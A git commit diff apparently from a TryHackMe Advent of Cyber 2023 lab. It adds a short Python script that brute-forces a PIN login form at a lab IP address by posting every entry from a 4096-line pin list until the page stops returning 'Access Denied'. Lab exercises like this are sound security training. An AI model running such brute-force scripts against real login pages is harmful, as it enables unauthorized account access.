Added initial code.

This commit is contained in:
eplots 2024-07-03 21:06:15 +02:00
parent 5808d2f805
commit 1f7a9b0566
22 changed files with 309132 additions and 1 deletions

20
thm/aoc23/day03/brute.py Normal file
View file

@ -0,0 +1,20 @@
#!/usr/bin/env python3
import requests
url = 'http://10.10.136.61:8000/login.php'
def login(pin):
r = requests.post(url, data = { 'pin': pin }, allow_redirects=True)
return r
#print(login('123').text)
with open('pw.lst', 'r') as fh:
pins = [ line.strip() for line in fh.read().split('\n') if line ]
for pin in pins:
res = login(pin).text
data = res.split('<h1 class="text-5xl text-red">')[-1]
data = data.split('</h1>')[0]
if data != 'Access Denied':
print(f'The PIN is: {pin}')
break

4096
thm/aoc23/day03/pw.lst Normal file

File diff suppressed because it is too large Load diff